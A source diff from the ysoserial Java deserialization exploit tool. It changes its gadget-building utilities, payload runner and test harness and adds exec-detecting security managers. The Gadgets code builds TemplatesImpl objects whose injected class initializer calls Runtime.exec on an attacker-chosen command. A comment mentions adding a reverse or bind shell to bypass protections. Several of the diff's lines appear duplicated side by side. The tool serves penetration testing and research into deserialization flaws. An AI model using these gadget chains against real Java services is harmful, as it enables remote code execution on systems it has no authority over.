System.setProperty(DESERIALIZE_TRANSLET, "true");
}
public static final String ANN_INV_HANDLER_CLASS = "sun.reflect.annotation.AnnotationInvocationHandler";
public static class StubTransletPayload extends AbstractTranslet implements Serializable { public static class StubTransletPayload extends AbstractTranslet implements Serializable {
private static final long serialVersionUID = -5971610431559700674L; private static final long serialVersionUID = -5971610431559700674L;
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {} public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {}
@Override @Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {} public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {}
} }
// required to make TemplatesImpl happy // required to make TemplatesImpl happy
public static class Foo implements Serializable { public static class Foo implements Serializable {
private static final long serialVersionUID = 8207363842866235160L; private static final long serialVersionUID = 8207363842866235160L;
} }
public static <T> T createMemoitizedProxy(final Map<String,Object> map, final Class<T> iface, public static <T> T createMemoitizedProxy(final Map<String,Object> map, final Class<T> iface,
final Class<?> ... ifaces) throws Exception { final Class<?> ... ifaces) throws Exception {
return createProxy(createMemoizedInvocationHandler(map), iface, ifaces); return createProxy(createMemoizedInvocationHandler(map), iface, ifaces);
} }
public static InvocationHandler createMemoizedInvocationHandler(final Map<String, Object> map) throws Exception { public static InvocationHandler createMemoizedInvocationHandler(final Map<String, Object> map) throws Exception {
return (InvocationHandler) Reflections.getFirstCtor(ANN_INV_HANDLER_CLASS).newInstance(Override.class, map); return (InvocationHandler) Reflections.getFirstCtor(ANN_INV_HANDLER_CLASS).newInstance(Override.class, map);
} }
public static <T> T createProxy(final InvocationHandler ih, final Class<T> iface, final Class<?> ... ifaces) { public static <T> T createProxy(final InvocationHandler ih, final Class<T> iface, final Class<?> ... ifaces) {
final Class<?>[] allIfaces = (Class<?>[]) Array.newInstance(Class.class, ifaces.length + 1); final Class<?>[] allIfaces = (Class<?>[]) Array.newInstance(Class.class, ifaces.length + 1);
allIfaces[0] = iface; allIfaces[0] = iface;
if (ifaces.length > 0) { if (ifaces.length > 0) {
System.arraycopy(ifaces, 0, allIfaces, 1, ifaces.length); System.arraycopy(ifaces, 0, allIfaces, 1, ifaces.length);
} }
return iface.cast(Proxy.newProxyInstance(Gadgets.class.getClassLoader(), allIfaces , ih)); return iface.cast(Proxy.newProxyInstance(Gadgets.class.getClassLoader(), allIfaces , ih));
} }
@@ -65,8 +73,8 @@ public class Gadgets {
} }
public static TemplatesImpl createTemplatesImpl(final String command) throws Exception { public static TemplatesImpl createTemplatesImpl(final String command) throws Exception {
final TemplatesImpl templates = new TemplatesImpl(); final TemplatesImpl templates = new TemplatesImpl();
// use template gadget class // use template gadget class
ClassPool pool = ClassPool.getDefault(); ClassPool pool = ClassPool.getDefault();
pool.insertClassPath(new ClassClassPath(StubTransletPayload.class)); pool.insertClassPath(new ClassClassPath(StubTransletPayload.class));
@@ -75,17 +83,17 @@ public class Gadgets {
// TODO: could also do fun things like injecting a pure-java rev/bind-shell to bypass naive protections // TODO: could also do fun things like injecting a pure-java rev/bind-shell to bypass naive protections
clazz.makeClassInitializer().insertAfter("java.lang.Runtime.getRuntime().exec(\"" + command.replaceAll("\"", "\\\"") +"\");"); clazz.makeClassInitializer().insertAfter("java.lang.Runtime.getRuntime().exec(\"" + command.replaceAll("\"", "\\\"") +"\");");
// sortarandom name to allow repeated exploitation (watch out for PermGen exhaustion) // sortarandom name to allow repeated exploitation (watch out for PermGen exhaustion)
clazz.setName("ysoserial.Pwner" + System.nanoTime()); clazz.setName("ysoserial.Pwner" + System.nanoTime());
final byte[] classBytes = clazz.toBytecode(); final byte[] classBytes = clazz.toBytecode();
// inject class bytes into instance // inject class bytes into instance
Reflections.setFieldValue(templates, "_bytecodes", new byte[][] { Reflections.setFieldValue(templates, "_bytecodes", new byte[][] {
classBytes, classBytes,
ClassFiles.classAsBytes(Foo.class)}); ClassFiles.classAsBytes(Foo.class)});
// required to make TemplatesImpl happy // required to make TemplatesImpl happy
Reflections.setFieldValue(templates, "_name", "Pwnr"); Reflections.setFieldValue(templates, "_name", "Pwnr");
Reflections.setFieldValue(templates, "_tfactory", new TransformerFactoryImpl()); Reflections.setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
return templates; return templates;
} }
@@ -1,40 +1,41 @@
package ysoserial.payloads.util; package ysoserial.payloads.util;
import static ysoserial.payloads.util.Serializables.deserialize;
import static ysoserial.payloads.util.Serializables.serialize;
import java.util.concurrent.Callable; import java.util.concurrent.Callable;
import ysoserial.ExecBlockingSecurityManager; import ysoserial.Deserializer;
import ysoserial.Serializer;
import static ysoserial.Deserializer.deserialize;
import static ysoserial.Serializer.serialize;
import ysoserial.payloads.ObjectPayload; import ysoserial.payloads.ObjectPayload;
import ysoserial.secmgr.ExecCheckingSecurityManager;
/* /*
* utility class for running exploits locally from command line * utility class for running exploits locally from command line
*/ */
@SuppressWarnings("unused") @SuppressWarnings("unused")
public class PayloadRunner { public class PayloadRunner {
public static void run(final Class<? extends ObjectPayload<?>> clazz, final String[] args) throws Exception { public static void run(final Class<? extends ObjectPayload<?>> clazz, final String[] args) throws Exception {
// ensure payload generation doesn't throw an exception // ensure payload generation doesn't throw an exception
byte[] serialized = ExecBlockingSecurityManager.wrap(new Callable<byte[]>(){ byte[] serialized = new ExecCheckingSecurityManager().wrap(new Callable<byte[]>(){
public byte[] call() throws Exception { public byte[] call() throws Exception {
final String command = args.length > 0 && args[0] != null ? args[0] : "calc.exe"; final String command = args.length > 0 && args[0] != null ? args[0] : "calc.exe";
System.out.println("generating payload object(s) for command: '" + command + "'"); System.out.println("generating payload object(s) for command: '" + command + "'");
final Object objBefore = clazz.newInstance().getObject(command); final Object objBefore = clazz.newInstance().getObject(command);
System.out.println("serializing payload"); System.out.println("serializing payload");
return serialize(objBefore); return Serializer.serialize(objBefore);
}}); }});
try { try {
System.out.println("deserializing payload"); System.out.println("deserializing payload");
final Object objAfter = deserialize(serialized); final Object objAfter = Deserializer.deserialize(serialized);
} catch (Exception e) { } catch (Exception e) {
e.printStackTrace(); e.printStackTrace();
} }
} }
} }
@@ -1,34 +0,0 @@
package ysoserial.payloads.util;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.InputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.io.OutputStream;
public class Serializables {
public static byte[] serialize(final Object obj) throws IOException {
final ByteArrayOutputStream out = new ByteArrayOutputStream();
serialize(obj, out);
return out.toByteArray();
}
public static void serialize(final Object obj, final OutputStream out) throws IOException {
final ObjectOutputStream objOut = new ObjectOutputStream(out);
objOut.writeObject(obj);
}
public static Object deserialize(final byte[] serialized) throws IOException, ClassNotFoundException {
final ByteArrayInputStream in = new ByteArrayInputStream(serialized);
return deserialize(in);
}
public static Object deserialize(final InputStream in) throws ClassNotFoundException, IOException {
final ObjectInputStream objIn = new ObjectInputStream(in);
return objIn.readObject();
}
}
+215
View File
@@ -0,0 +1,215 @@
package ysoserial.secmgr;
import java.io.FileDescriptor;
import java.net.InetAddress;
import java.security.Permission;
public class DelegateSecurityManager extends SecurityManager {
private SecurityManager securityManager;
public SecurityManager getSecurityManager() {
return securityManager;
}
public void setSecurityManager(SecurityManager securityManager) {
this.securityManager = securityManager;
}
@Override
public boolean getInCheck() {
return getSecurityManager().getInCheck();
}
@Override
public Object getSecurityContext() {
return getSecurityManager().getSecurityContext();
}
@Override
public void checkPermission(Permission perm) {
getSecurityManager().checkPermission(perm);
}
@Override
public void checkPermission(Permission perm, Object context) {
getSecurityManager().checkPermission(perm, context);
}
@Override
public void checkCreateClassLoader() {
getSecurityManager().checkCreateClassLoader();
}
@Override
public void checkAccess(Thread t) {
getSecurityManager().checkAccess(t);
}
@Override
public void checkAccess(ThreadGroup g) {
getSecurityManager().checkAccess(g);
}
@Override
public void checkExit(int status) {
getSecurityManager().checkExit(status);
}
@Override
public void checkExec(String cmd) {
getSecurityManager().checkExec(cmd);
}
@Override
public void checkLink(String lib) {
getSecurityManager().checkLink(lib);
}
@Override
public void checkRead(FileDescriptor fd) {
getSecurityManager().checkRead(fd);
}
@Override
public void checkRead(String file) {
getSecurityManager().checkRead(file);
}
@Override
public void checkRead(String file, Object context) {
getSecurityManager().checkRead(file, context);
}
@Override
public void checkWrite(FileDescriptor fd) {
getSecurityManager().checkWrite(fd);
}
@Override
public void checkWrite(String file) {
getSecurityManager().checkWrite(file);
}
@Override
public void checkDelete(String file) {
getSecurityManager().checkDelete(file);
}
@Override
public void checkConnect(String host, int port) {
getSecurityManager().checkConnect(host, port);
}
@Override
public void checkConnect(String host, int port, Object context) {
getSecurityManager().checkConnect(host, port, context);
}
@Override
public void checkListen(int port) {
getSecurityManager().checkListen(port);
}
@Override
public void checkAccept(String host, int port) {
getSecurityManager().checkAccept(host, port);
}
@Override
public void checkMulticast(InetAddress maddr) {
getSecurityManager().checkMulticast(maddr);
}
@Override
public void checkMulticast(InetAddress maddr, byte ttl) {
getSecurityManager().checkMulticast(maddr, ttl);
}
@Override
public void checkPropertiesAccess() {
getSecurityManager().checkPropertiesAccess();
}
@Override
public void checkPropertyAccess(String key) {
getSecurityManager().checkPropertyAccess(key);
}
@Override
public boolean checkTopLevelWindow(Object window) {
return getSecurityManager().checkTopLevelWindow(window);
}
@Override
public void checkPrintJobAccess() {
getSecurityManager().checkPrintJobAccess();
}
@Override
public void checkSystemClipboardAccess() {
getSecurityManager().checkSystemClipboardAccess();
}
@Override
public void checkAwtEventQueueAccess() {
getSecurityManager().checkAwtEventQueueAccess();
}
@Override
public void checkPackageAccess(String pkg) {
getSecurityManager().checkPackageAccess(pkg);
}
@Override
public void checkPackageDefinition(String pkg) {
getSecurityManager().checkPackageDefinition(pkg);
}
@Override
public void checkSetFactory() {
getSecurityManager().checkSetFactory();
}
@Override
public void checkMemberAccess(Class<?> clazz, int which) {
getSecurityManager().checkMemberAccess(clazz, which);
}
@Override
public void checkSecurityAccess(String target) {
getSecurityManager().checkSecurityAccess(target);
}
@Override
public ThreadGroup getThreadGroup() {
return getSecurityManager().getThreadGroup();
}
}
@@ -0,0 +1,87 @@
package ysoserial.secmgr;
import java.security.Permission;
import java.util.Collections;
import java.util.LinkedList;
import java.util.List;
import java.util.concurrent.Callable;
public class ExecCheckingSecurityManager extends SecurityManager {
public ExecCheckingSecurityManager() {
this(true);
}
public ExecCheckingSecurityManager(boolean throwException) {
this.throwException = throwException;
}
private final boolean throwException;
private final List<String> cmds = new LinkedList<String>();
public List<String> getCmds() {
return Collections.unmodifiableList(cmds);
}
@Override
public void checkPermission(final Permission perm) { }
@Override
public void checkPermission(final Permission perm, final Object context) { }
@Override
public void checkExec(final String cmd) {
super.checkExec(cmd);
cmds.add(cmd);
if (throwException) {
// throw a special exception to ensure we can detect exec() in the test
throw new ExecException(cmd);
}
};
@SuppressWarnings("serial")
public static class ExecException extends RuntimeException {
private final String threadName = Thread.currentThread().getName();
private final String cmd;
public ExecException(String cmd) { this.cmd = cmd; }
public String getCmd() { return cmd; }
public String getThreadName() { return threadName; }
@
Override
public String getMessage() {
return "executed `" + getCmd() + "` in [" + getThreadName() + "]";
}
}
public void wrap(final Runnable runnable) throws Exception {
wrap(new Callable<Void>(){
public Void call() throws Exception {
runnable.run();
return null;
}
});
}
public <T> T wrap(final Callable<T> callable) throws Exception {
SecurityManager sm = System.getSecurityManager(); // save sm
System.setSecurityManager(this);
try {
T result = callable.call();
if (throwException && ! getCmds().isEmpty()) {
throw new ExecException(getCmds().get(0));
}
return result;
} catch (Exception e) {
if (! (e instanceof ExecException) && throwException && ! getCmds().isEmpty()) {
throw new ExecException(getCmds().get(0));
} else {
throw e;
}
} finally {
System.setSecurityManager(sm); // restore sm
}
}
}
@@ -0,0 +1,35 @@
package ysoserial.secmgr;
import java.util.concurrent.Callable;
public class ThreadLocalSecurityManager extends DelegateSecurityManager {
private static final ThreadLocalSecurityManager INSTANCE
= new ThreadLocalSecurityManager();
private final ThreadLocal<SecurityManager> threadDelegates
= new ThreadLocal<SecurityManager>();
public void install() {
System.setSecurityManager(this);
}
@Override
public void setSecurityManager(SecurityManager threadManager) {
threadDelegates.set(threadManager);
}
@Override
public SecurityManager getSecurityManager() {
return threadDelegates.get();
}
public <V> V wrap(SecurityManager sm, Callable<V> callable) throws Exception {
SecurityManager old = getSecurityManager();
setSecurityManager(sm);
try {
return callable.call();
} finally {
setSecurityManager(old);
}
}
}
@@ -1,17 +0,0 @@
package ysoserial;
import java.io.ByteArrayInputStream;
import java.io.ObjectInputStream;
import java.util.concurrent.Callable;
/*
* deserializes specified bytes; for use from isolated classloader
*/
public class DeserializerThunk implements Callable<Object> {
private final byte[] bytes;
public DeserializerThunk(byte[] bytes) { this.bytes = bytes; }
public Object call() throws Exception {
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(bytes));
return ois.readObject();
}
}
@@ -1,19 +0,0 @@
package ysoserial;
import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.Serializable;
@SuppressWarnings("serial")
public class ExecSerializable implements Serializable {
private final String cmd;
public ExecSerializable(String cmd) { this.cmd = cmd; }
private void readObject(final ObjectInputStream ois) {
try {
Runtime.getRuntime().exec("hostname");
} catch (IOException e) {
e.printStackTrace();
}
}
}
@@ -0,0 +1,18 @@
package ysoserial.exploit;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
public class RMIRegistryExploitTest {
public static void createRegistry(int port) throws RemoteException {
Registry registry = LocateRegistry.createRegistry(port);
}
public static void main(String[] args) throws RemoteException, InterruptedException {
String portStr = args.length > 0 && args[0] != null ? args[0] : "1099";
int port = Integer.parseInt(portStr);
createRegistry(port);
while (true) Thread.sleep(1000);
}
}
@@ -5,6 +5,8 @@ import static com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.DESERIA
import java.io.File; import java.io.File;
import java.net.URL; import java.net.URL;
import java.net.URLClassLoader; import java.net.URLClassLoader;
import java.util.Arrays;
import java.util.Set;
import java.util.concurrent.Callable; import java.util.concurrent.Callable;
import org.hamcrest.CoreMatchers; import org.hamcrest.CoreMatchers;
@@ -17,39 +19,37 @@ import org.junit.runner.RunWith;
import org.junit.runners.Parameterized; import org.junit.runners.Parameterized;
import org.junit.runners.Parameterized.Parameters; import org.junit.runners.Parameterized.Parameters;
import ysoserial.DeserializerThunk; import ysoserial.Deserializer;
import ysoserial.ExecBlockingSecurityManager; import ysoserial.Serializer;
import ysoserial.ExecBlockingSecurityManager.ExecException;
import ysoserial.ExecSerializable;
import ysoserial.Throwables; import ysoserial.Throwables;
import ysoserial.payloads.TestHarnessTest.ExecMockPayload;
import ysoserial.payloads.TestHarnessTest.NoopMockPayload;
import ysoserial.payloads.annotation.Dependencies; import ysoserial.payloads.annotation.Dependencies;
import ysoserial.payloads.util.ClassFiles; import ysoserial.payloads.util.ClassFiles;
import ysoserial.payloads.util.Serializables; import ysoserial.secmgr.ExecCheckingSecurityManager;
import ysoserial.secmgr.ExecCheckingSecurityManager.ExecException;
/* /*
* tests each of the parameterize Payload classes by using a mock SecurityManager that throws * tests each of the parameterize Payload classes by using a mock SecurityManager that throws
* a special exception when an exec() attempt is made for more reliable detection; self-tests * a special exception when an exec() attempt is made for more reliable detection; self-tests
* the harness for trivial pass and failure cases * the harness for trivial pass and failure cases
TODO: pull out harness tests so they are only run once
TODO: figure out better way to test exception behavior than comparing messages TODO: figure out better way to test exception behavior than comparing messages
*/ */
@SuppressWarnings({"restriction", "unused", "unchecked"}) @SuppressWarnings({"restriction", "unused", "unchecked"})
@RunWith(Parameterized.class) @RunWith(Parameterized.class)
public class PayloadsTest { public class PayloadsTest {
private static final String ASSERT_MESSAGE = "should have thrown " + ExecException.class.getSimpleName(); private static final String ASSERT_MESSAGE = "should have thrown " + ExecException.class.getSimpleName();
private static final String DESER_THUNK_CLASS = DeserializerThunk.class.getName();
@Rule
public final ProvideSecurityManager psm = new ProvideSecurityManager(new ExecBlockingSecurityManager());
@Parameters(name = "payloadClass: {0}") @Parameters(name = "payloadClass: {0}")
public static Class<? extends ObjectPayload<?>>[] payloads() { public static Class<? extends ObjectPayload<?>>[] payloads() {
return new Class[] { CommonsCollections1.class, Groovy1.class , CommonsCollections2.class, Spring1.class }; Set<Class<? extends ObjectPayload>> payloadClasses = ObjectPayload.Utils.getPayloadClasses();
} payloadClasses.removeAll(Arrays.asList(ExecMockPayload.class, NoopMockPayload.class));
return payloadClasses.toArray(new Class[0]);
}
private final Class<? extends ObjectPayload<?>> payloadClass;
private final Class<? extends ObjectPayload<?>> payloadClass;
public PayloadsTest(Class<? extends ObjectPayload<?>> payloadClass) { public PayloadsTest(Class<? extends ObjectPayload<?>> payloadClass) {
this.payloadClass = payloadClass; this.payloadClass = payloadClass;
} }
@@ -58,89 +58,56 @@ public class PayloadsTest {
public void testPayload() throws Exception { public void testPayload() throws Exception {
testPayload(payloadClass, new Class[0]); testPayload(payloadClass, new Class[0]);
} }
public static void testPayload(final Class<? extends ObjectPayload<?>> payloadClass, Class[] addlClassesForClassLoader) throws Exception { public static void testPayload(final Class<? extends ObjectPayload<?>> payloadClass, final Class[] addlClassesForClassLoader) throws Exception {
String command = "hostname"; final String command = "hostname";
Dependencies depsAnn = payloadClass.getAnnotation(Dependencies.class); final String[] deps = Dependencies.Utils.getDependencies(payloadClass);
String[] deps = depsAnn != null ? depsAnn.value() : new String[0]; ExecCheckingSecurityManager sm = new ExecCheckingSecurityManager();
ObjectPayload<?> payload = payloadClass.newInstance(); final byte[] serialized = sm.wrap(new Callable<byte[]>(){
final Object f = payload.getObject(command); public byte[] call() throws Exception {
final byte[] serialized = Serializables.serialize(f); ObjectPayload<?> payload = payloadClass.newInstance();
try { final Object f = payload.getObject(command);
deserializeWithDependencies(serialized, deps, addlClassesForClassLoader); return Serializer.serialize(f);
}});
try {
Object deserialized = sm.wrap(new Callable<Object>(){
public Object call() throws Exception {
return deserializeWithDependencies(serialized, deps, addlClassesForClassLoader);
}
});
Assert.fail(ASSERT_MESSAGE); // should never get here Assert.fail(ASSERT_MESSAGE); // should never get here
} catch (Throwable e) { } catch (Throwable e) {
// hopefully everything will reliably nest our ExecException // hopefully everything will reliably nest our ExecException
Throwable innerEx = Throwables.getInnermostCause(e); Throwable innerEx = Throwables.getInnermostCause(e);
Assert.assertEquals(ExecException.class, innerEx.getClass()); Assert.assertEquals(ExecException.class, innerEx.getClass());
Assert.assertEquals(command, ((ExecException) innerEx).getCmd()); Assert.assertEquals(command, ((ExecException) innerEx).getCmd());
} }
Assert.assertEquals(Arrays.asList(command), sm.getCmds());
} }
@SuppressWarnings({ "unchecked" }) @SuppressWarnings({ "unchecked" })
private static void deserializeWithDependencies(byte[] serialized, final String[] dependencies, final Class<?>[] classDependencies) throws Exception { private static Object deserializeWithDependencies(byte[] serialized, final String[] dependencies, final Class<?>[] classDependencies) throws Exception {
// special case for using TemplatesImpl gadgets with a SecurityManager enabled
System.setProperty(DESERIALIZE_TRANSLET, "true");
File[] jars = dependencies.length > 0 ? Maven.resolver().resolve(dependencies).withoutTransitivity().asFile() : new File[0]; File[] jars = dependencies.length > 0 ? Maven.resolver().resolve(dependencies).withoutTransitivity().asFile() : new File[0];
URL[] urls = new URL[jars.length]; URL[] urls = new URL[jars.length];
for (int i = 0; i < jars.length; i++) { for (int i = 0; i < jars.length; i++) {
urls[i] = jars[i].toURI().toURL(); urls[i] = jars[i].toURI().toURL();
} }
URLClassLoader isolatedClassLoader = new URLClassLoader(urls, null) {{ URLClassLoader isolatedClassLoader = new URLClassLoader(urls, null) {{
for (Class<?> clazz : classDependencies) { for (Class<?> clazz : classDependencies) {
byte[] classAsBytes = ClassFiles.classAsBytes(clazz); byte[] classAsBytes = ClassFiles.classAsBytes(clazz);
defineClass(clazz.getName(), classAsBytes, 0, classAsBytes.length); defineClass(clazz.getName(), classAsBytes, 0, classAsBytes.length);
} }
byte[] deserializerClassBytes = ClassFiles.classAsBytes(DeserializerThunk.class); byte[] deserializerClassBytes = ClassFiles.classAsBytes(ysoserial.Deserializer.class);
defineClass(DeserializerThunk.class.getName(), deserializerClassBytes, 0, deserializerClassBytes.length); defineClass(ysoserial.Deserializer.class.getName(), deserializerClassBytes, 0, deserializerClassBytes.length);
}}; }};
Class<?> deserializerClass = isolatedClassLoader.loadClass(DESER_THUNK_CLASS); Class<?> deserializerClass = isolatedClassLoader.loadClass(ysoserial.Deserializer.class.getName());
Callable<Object> deserializer = (Callable<Object>) deserializerClass.getConstructors()[0].newInstance(serialized); Callable<Object> deserializer = (Callable<Object>) deserializerClass.getConstructors()[0].newInstance(serialized);
final Object obj = deserializer.call(); final Object obj = deserializer.call();
return obj;
} }
// make sure test harness fails properly
@Test
public void testHarnessExecFail() throws Exception {
try {
testPayload(NoopMockPayload.class, new Class[0]);
Assert.fail("should have failed");
} catch (AssertionError e) {
Assert.assertThat(e.getMessage(), CoreMatchers.containsString("but was:<class java.lang.AssertionError>"));
}
}
// make sure test harness fails properly
@Test
public void testHarnessClassLoaderFail() throws Exception {
try {
testPayload(ExecMockPayload.class, new Class[0]);
Assert.fail("should have failed");
} catch (AssertionError e) {
Assert.assertThat(e.getMessage(), CoreMatchers.containsString("ClassNotFoundException"));
}
}
// make sure test harness passes properly with trivial execution gadget
@Test
public void testHarnessExecPass() throws Exception {
testPayload(ExecMockPayload.class, new Class[] { ExecSerializable.class });
}
public static class ExecMockPayload implements ObjectPayload<ExecSerializable> {
public ExecSerializable getObject(String command) throws Exception {
return new ExecSerializable(command);
}
}
public static class NoopMockPayload implements ObjectPayload<Integer> {
public Integer getObject(String command) throws Exception {
return 1;
}
}
} }
+66
View File
@@ -0,0 +1,66 @@
package ysoserial.payloads;
import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.Serializable;
import org.hamcrest.CoreMatchers;
import org.junit.Assert;
import org.junit.Test;
public class TestHarnessTest {
// make sure test harness fails properly
@Test
public void testHarnessExecFail() throws Exception {
try {
PayloadsTest.testPayload(NoopMockPayload.class, new Class[0]);
Assert.fail("should have failed");
} catch (AssertionError e) {
Assert.assertThat(e.getMessage(), CoreMatchers.containsString("but was:<class java.lang.AssertionError>"));
}
}
// make sure test harness fails properly
@Test
public void testHarnessClassLoaderFail() throws Exception {
try {
PayloadsTest.testPayload(ExecMockPayload.class, new Class[0]);
Assert.fail("should have failed");
} catch (AssertionError e) {
Assert.assertThat(e.getMessage(), CoreMatchers.containsString("ClassNotFoundException"));
}
}
// make sure test harness passes properly with trivial execution gadget
@Test
public void testHarnessExecPass() throws Exception {
PayloadsTest.testPayload(ExecMockPayload.class, new Class[] { ExecMockSerializable.class });
}
public static class ExecMockPayload implements ObjectPayload<ExecMockSerializable> {
public ExecMockSerializable getObject(String command) throws Exception {
return new ExecMockSerializable(command);
}
}
public static class NoopMockPayload implements ObjectPayload<Integer> {
public Integer getObject(String command) throws Exception {
return 1;
}
}
@SuppressWarnings("serial")
public static class ExecMockSerializable implements Serializable {
private final String cmd;
public ExecMockSerializable(String cmd) { this.cmd = cmd; }
private void readObject(final ObjectInputStream ois) {
try {
Runtime.getRuntime().exec("hostname");
} catch (IOException e) {
throw new RuntimeException(e);
}
}
}
}